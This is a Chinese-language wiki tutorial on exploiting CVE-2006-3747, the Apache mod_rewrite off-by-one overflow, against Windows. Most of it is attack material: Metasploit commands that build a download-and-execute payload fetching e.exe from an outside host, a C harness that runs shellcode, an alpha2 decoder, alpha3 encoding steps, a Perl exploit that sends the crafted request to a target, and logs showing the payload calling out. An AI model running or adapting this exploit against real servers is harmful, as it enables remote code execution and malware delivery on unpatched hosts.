用户工具

站点工具


cve_漏洞库:cve-2006-3747

CVE 2006-3747 shellcode编码技巧

作者:zippo

目录

  1. CVE 2006-3747 介绍
  2. 背景知识
  3. shellcode生成
  4. alpha3编码
  5. 疑问

CVE 2006-3747 介绍

在用WVS扫站的时候经常会看到下面的漏洞, 但是似乎从来没有谁成功利用过. 通过WVS的提示, 得知这个漏洞名叫apache mod_rewrite off-by-one buffer overflow vulnerability.

漏洞简介你让我写我也写不出来, 直接抄别人的了


BUGTRAQ ID: 19204
CVE(CAN) ID: CVE-2006-3747

Apache是一款开放源代码WEB服务程序。Apache的mod_rewrite模块在转义绝对URI主题时存在单字节缓冲区溢出漏洞,攻击者可能利用此漏洞在服务器上执行任意指令。
mod_rewrite模块的escape_absolute_uri()函数分离LDAP URL中的令牌时,会导致在字符指针数组以外写入指向用户控制数据的指针,这样就可能完全控制受影响的主机。

这个漏洞在linux上似乎非常不好用. 根据描述,是因为编译器的一个默认开启的特性导致漏洞无法利用. 此牛似乎非常郁闷, 连博客文章的标题都取了一个非常义愤填膺的名字: “好漏洞都自己藏着,垃圾漏洞都发出来了”.

在RedHat的buglist上是这么说的:


The ability to exploit this issue is dependent on the stack layout for a particular compiled version of mod_rewrite. If the compiler has added padding to the stack immediately after the buffer being overwritten, it will not be possible to exploit this issue, and Apache httpd will continue operating normally.

也就是说,必须编译器没有paddingbuffer,而我们知道gcc从N年前就开始padding buffer了,会往buffer里添加一些填充字节来对齐。

也就是说,这是一个彻头彻尾的垃圾漏洞,在几年前的gcc环境下,都触发不了,连segfault都做不到,apache会一直正常运行。

看到是mcafee labs发布的漏洞,估计是纯粹代码检验工具找出来的

在windows上, 情况就截然不同了. 根据某外国牛的博客(链接懒得找了), 这个漏洞非常好用, 并且还非常通用. 于是本彩笔就开始了痛苦的exp测试过程.

背景知识

先来一个术语列表.

exp漏洞利用程序, 全称exploit
shellcode漏洞利用程序利用漏洞进而执行的指令, 通常为16进制汇编指令
encode编码的意思, 指对shellcode进行编码, 以去除0x00等坏字符 (0x00导致程序认为缓冲区结束从而导致漏洞利用失败)
encoder编码器

正如大家都知道的, 典型的漏洞利用程序都是通过一段叫做shellcode的代码来实现漏洞利用的. shellcode功能众多, 有下载执行, 命令执行, 端口shell绑定, shell反弹等等等等.

shellcode一般是以一段16进制汇编指令呈现在大家面前的. 如果按照ascii来理解(解码)的话, 那真的是什么字符都有的, 比如各种控制字符, >0x7f的字符等等. 为了避免一些特殊的字符导致漏洞利用失败, 聪明的黑客们发明了encoder这种东西. 通过在shellcode入口点(一般在shellcode头部)附加一段很小的解码(decode)程序, 就可以将被编码到特定编码空间(如数字+大小写字母, 或者不含0x00)的shellcode解码, 还原成原来的样子, 并且执行. 此段读三遍.

alpha2是一个荷兰程序员SkyLined设计的编码器, 目的是将各种字符都有的shellcode编码成数字和大小写字母. 中文常说的shellcode加密其实很不准确, 因为很多时候只是进行编码而已. alpha2还不够完美, 因为编码后的shellcode头部还有几个不可见字符, 其实是用来解码的汇编指令. 而alpha3就屌炸了, 编码后的shellcode全部是可见字符. alpha3可以在这里找到.

alpha3生成的shellcode需要知道自己在目标内存中的基址, 即base address. 对shellcode编写有些经验的朋友可能会立刻想到kernel32.dll的基址, 注意不是一回事. alpha3对于每个不同的编码器都提供了不同的寻址方式, 比如直接通过寄存器读取的, 通过寄存器寻址内存读取的, 还有大杀器SEH. SEH通过windows异常处理程序的特性进行寻址, 下面我们将要用到的就是SEH. 这里附上寻址方式表.

[x64 ascii mixedcase]
   AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

 [x86 ascii lowercase]
   AscLow 0x30 (rm32)        ECX EDX EBX

 [x86 ascii mixedcase]
   AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                             [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                             ECX+2 ESI+4 ESI+8
   AscMix 0x30 (i32)         (address)
   AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                             countslide:EBX+offset~uncertainty
                             countslide:ECX+offset~uncertainty
                             countslide:EDX+offset~uncertainty
                             countslide:ESI+offset~uncertainty
                             countslide:EDI+offset~uncertainty
   AscMix Countslide (i32)   countslide:address~uncertainty
   AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

 [x86 ascii uppercase]
   AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                             [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

 [x86 latin-1 mixedcase]
   Latin1Mix CALL GetPC      call

 [x86 utf-16 uppercase]
   UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                             [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

此外, 有安全缺陷的apache 2.0.49版本的安装程序请在下面地址自行查找.

在windows xp sp0的虚拟机上搭建测试环境, 修改conf下的httpd.conf, 取消mod_rewrite模块的注释, 并且添加下面的配置开启mod_rewrite.

RewriteEngine on
RewriteLog "logs/rewrite.log"
RewriteLogLevel 3
RewriteRule 1/(.*) $1

shellcode生成

二话不说打开浏览器直接site:exploit-db.com 2006-3747. 打开所有有关的标签页, 开始一个个测试. 话说, 不知道为什么metasploit非常喜欢在上面发他们用ruby写的经常用不了的exp, 虽然有时候参考起来很方便但还是给人一种蛋痒的感觉.

使用metasploit, 默认的payload不能encode. 弹框报错, 看来是不能用了.

axis大牛的作品有如下这行注释.

# shellcode,reverse shell to 192.168.0.1 ,port 1154  alpha2 encoded

好吧, 看来这段shellcode是编码过的, 使用了alpha2编码. 用来反弹的IP地址, 我只能说我想问候作者全家, 能不能花半小时做一个可以自定义IP的呢. 现在本彩笔不知所措了.

放狗一搜, 发现了这个alpha2 shellcode 解密程序

alpha.py
#!/usr/bin/env python
#encoding=utf-8
"""
Alpha2 Shellcode Decoder
Author:一只死猫
Date:2010-12-01
"""
 
def Hex2Str(hexstr):
	sstr=""
	for i in range(0,len(hexstr),2):
		hextmp=hexstr[i:i+2]
		if hextmp!="00":
			sstr+=chr(int(hextmp,16))
	return sstr
 
def Str2Hex(strhex):
	shex=""
	for i in range(len(strhex)):
		shex+=str(hex(ord(strhex[i])))[2:]
	return shex
 
def decode(shellcode):
	enstr=Str2Hex(shellcode)
	bb=""
	for i in range(0,len(enstr),4):
		entmp=enstr[i:i+7]
		sz=[]
		for x in range(0,len(entmp),2):
			sz.append(entmp[x:x+2])
		a=str(hex(int(sz[0][-1],16)^int(sz[1][0],16)))[2:]
		bb=bb+a+str(sz[1][-1])
	return bb
 
def entry(shellcode):
	return Hex2Str(decode(shellcode))
 
if __name__=="__main__":
	print entry("RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU")
	print entry("RHptd4RPFZVOdoRWQgrWTnQs3X2ESQ44PobNvYTn1sporM4oQcROTnU5PxquOpgp")

顺便提一下, alpha2加密的shellcode开头总会有\xeb\x03, 这是编码后的唯一几个不可见字符了. 经过一通解密, 得到了原始shellcode, 本彩笔兴高采烈地去查找192和168的16进制, 发现并没有明文的IP, 当场就掀桌了. 后来想想应该是为了避开0x00而进行了xor或者是什么其他的变换.

此路不通, 经过一番思索, 本彩笔决定找一段能用的shellcode替换上去, 然后自己进行编码. 生成shellcode的问题就由metasploit解决了. 根据网上找到的metasploit的payload列表, 发现对于windows平台, shellcode还真不少. 不过本彩笔需要提醒大家的是, 路径里面含有meterpreter的都需要通过metasploit才能利用. 原因如下.


Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API.

真是吃饱撑的, ruby那么难用, 为什么不提供python的API?! 言归正传, 使用以下命令来生成shellcode.

use windows/download_exec
generate -t c -o URL="http://123.123.123.123:8000/e.exe" -b '\x00'

第一行是使用下载执行这个payload, 就不解释了. 第一个 -t 参数指的是生成哪种编程语言的shellcode, 目的是复制粘贴方便. 第二个 -o 的意思是options, 具体都有哪些选项可以通过show options来查询. 这里就用本机在8000端口上用python一句话架设的web服务器好了. 而第三个 -b 的意思是避免shellcode中存在坏字符, 这里加上\x00. 因为alpha3不能编码含有0x00的shellcode.

根据帮助文档, 还有一个 -e 参数可以对shellcode进行编码. 但是在我的环境中, 不论使用哪种编码器, 编码后的shellcode都无法直接执行. 所以这里不讨论这个参数. 不过大家可以通过show encoders 来查看都有哪些编码器. alpha赫然在列.

将生成的shellcode复制到一个.c文件中, 拼装成如下代码.

unsigned char shellcode[] = 
"\xda\xd3\xd9\x74\x24\xf4\xb8\xbf\x45\x07\x89\x5e\x29\xc9\xb1"
"\x96\xca\xcd";
int main(void)
{
__asm ("lea        _shellcode, %eax");
__asm ("push %eax");
__asm ("ret");
}

可以看到, 主函数基本就是将shellcode数组(也是字符串)的地址传入EAX, 压栈, 直接RET返回. 这时系统会POP EIP, 而EIP就成了shellcode的地址, 从而我们在shellcode中的指令就被执行了. 此处没有查证

需要注意的是, 我使用的IDE是新版的Dev-C++, 而这个IDE的编译器是不支持NASM格式的, 所以这里的内联汇编使用的是AT&T格式, 因此看起来了OllyDBG里面不太一样. 此处没有查证, 很可能写反了.

编译, 执行, 本机的web服务器有了反应. 这里因为是测试所以目录下没放e.exe.

D:\>python -m SimpleHTTPServer
 Serving HTTP on 0.0.0.0 port 8000 ...
 123.123.123.123 - - [21/Dec/2013 15:41:34] code 404, message File not found
 123.123.123.123 - - [21/Dec/2013 15:41:34] "GET /e.exe HTTP/1.1" 404 -

至此, shellcode生成测试成功, 下面的问题就是如何对shellcode进行编码, 然后替换掉exp中原本的shellcode了

alpha3编码

由于原exp中的shellcode是alpha2编码过的, 而这里要利用的漏洞出在apache这个web服务器上, 要知道HTTP对不可见字符的编码等等还是有一定要求的. alpha2在解码器中含有少数几个不可见字符, 如果使用alpha3对shellcode进行编码, 那么效果只会更好.

这里下载alpha3. 将生成的不含0x00的shellcode写入一个文件, 注意, 这里要写入16进制值, 而不是16进制编码字符串. 新版的notepad++的插件可以很方便地完成这个任务, 当然我们也能用python来解决这个问题.

首先使用metasploit生成适用于python格式的shellcode.

generate -t python -o URL="http://123.123.123.123:8000/e.exe" -b '\x00'

然后把代码复制到python控制台执行, 最后执行下面的代码.

f = file('d:\\shellcode.bin', 'w')
f.write(buf)
f.close()

而后将shellcode.bin复制到alpha3目录下, 执行如下命令.

python ALPHA3.py x86 ascii mixedcase seh_getpc_xpsp3 --input=shellcode.bin > shellcode.txt

这里采用x86 ascii mixedcase编码器, 也就是大小写混合的意思. 基址寻址方式采用SEH, 剩下两个就是输入和输出文件了.

好了, 剩下就是把shellcode.txt的内容作为shellcode放入exp中, 执行

exp.pl
#!/usr/bin/env perl
 
use IO::Socket;
 
$ARGC = @ARGV;
unless($ARGC == 2){
    print "Apache mod_rewrite off-by-one overflow\n";
    print "Usage: $0 webserver port\n";
    exit;
}
 
$host = $ARGV[0];
$rewpath = $ARGV[1];
$port = 80;
$one = "Sweeper"x5;
$two = "C"x10;
$shellcode =
"V34djPXP4Hd30V3v034dYV34014dZX4vP4v4PHPfh11DX5PRRRV34".
...
"325k3l00";
 
# $exploit = "GET \/1\/ldap:\/\/Exploit\/$one%3fA%3fA%3f$two%3fC%3f%90$shellcode HTTP\/1.1\r\nHost: $host\r\n\r\n";
$exploit = "GET \/$rewpath\/ldap:\/\/Exploit\/$one%3fA%3fA%3f$two%3fC%3f%90$shellcode HTTP\/1.1\r\nHost: $host\r\n\r\n";
print $exploit;
$socket = IO::Socket::INET->new(
            PeerAddr => $host,
            PeerPort => $port,
            Type     => SOCK_STREAM
            );
if(defined($socket)){
    print "sending exploit codz ...\n";
    print $socket $exploit;
}else{
 die("cant create socket connention!");
}
 $response = <$socket>;
 close $socket;
 print $response;

由于懒的原因, 截图就没有了.

123.123.123.123 - - [21/Dec/2013 15:52:26] code 404, message File not found
123.123.123.123 - - [21/Dec/2013 15:52:26] "GET /e.exe HTTP/1.1" 404 -
123.123.123.123 - - [21/Dec/2013 15:52:53] code 404, message File not found
123.123.123.123 - - [21/Dec/2013 15:52:53] "GET /e.exe HTTP/1.1" 404 -
123.123.123.123 - - [21/Dec/2013 15:54:41] code 404, message File not found
123.123.123.123 - - [21/Dec/2013 15:54:41] "GET /e.exe HTTP/1.0" 404 -
123.123.123.123 - - [21/Dec/2013 15:54:49] code 404, message File not found
123.123.123.123 - - [21/Dec/2013 15:54:49] "GET /e.exe HTTP/1.0" 404 -

疑问

为什么metasploit通过如下命令编码的shellcode均无法执行? 看头部的样子, 难道是没带decoder? 不能这么坑吧?

generate -t c -o URL="http://123.123.123.123:8000/e.exe" -b '\x00' -e x86/alpha_mixed

附上编码后shellcode头部

unsigned char buf[] =
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48\x50"
"\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41\x51\x51"
你需要登录发表评论。
cve_漏洞库/cve-2006-3747 · 最后更改: 2017/07/30 17:27

页面工具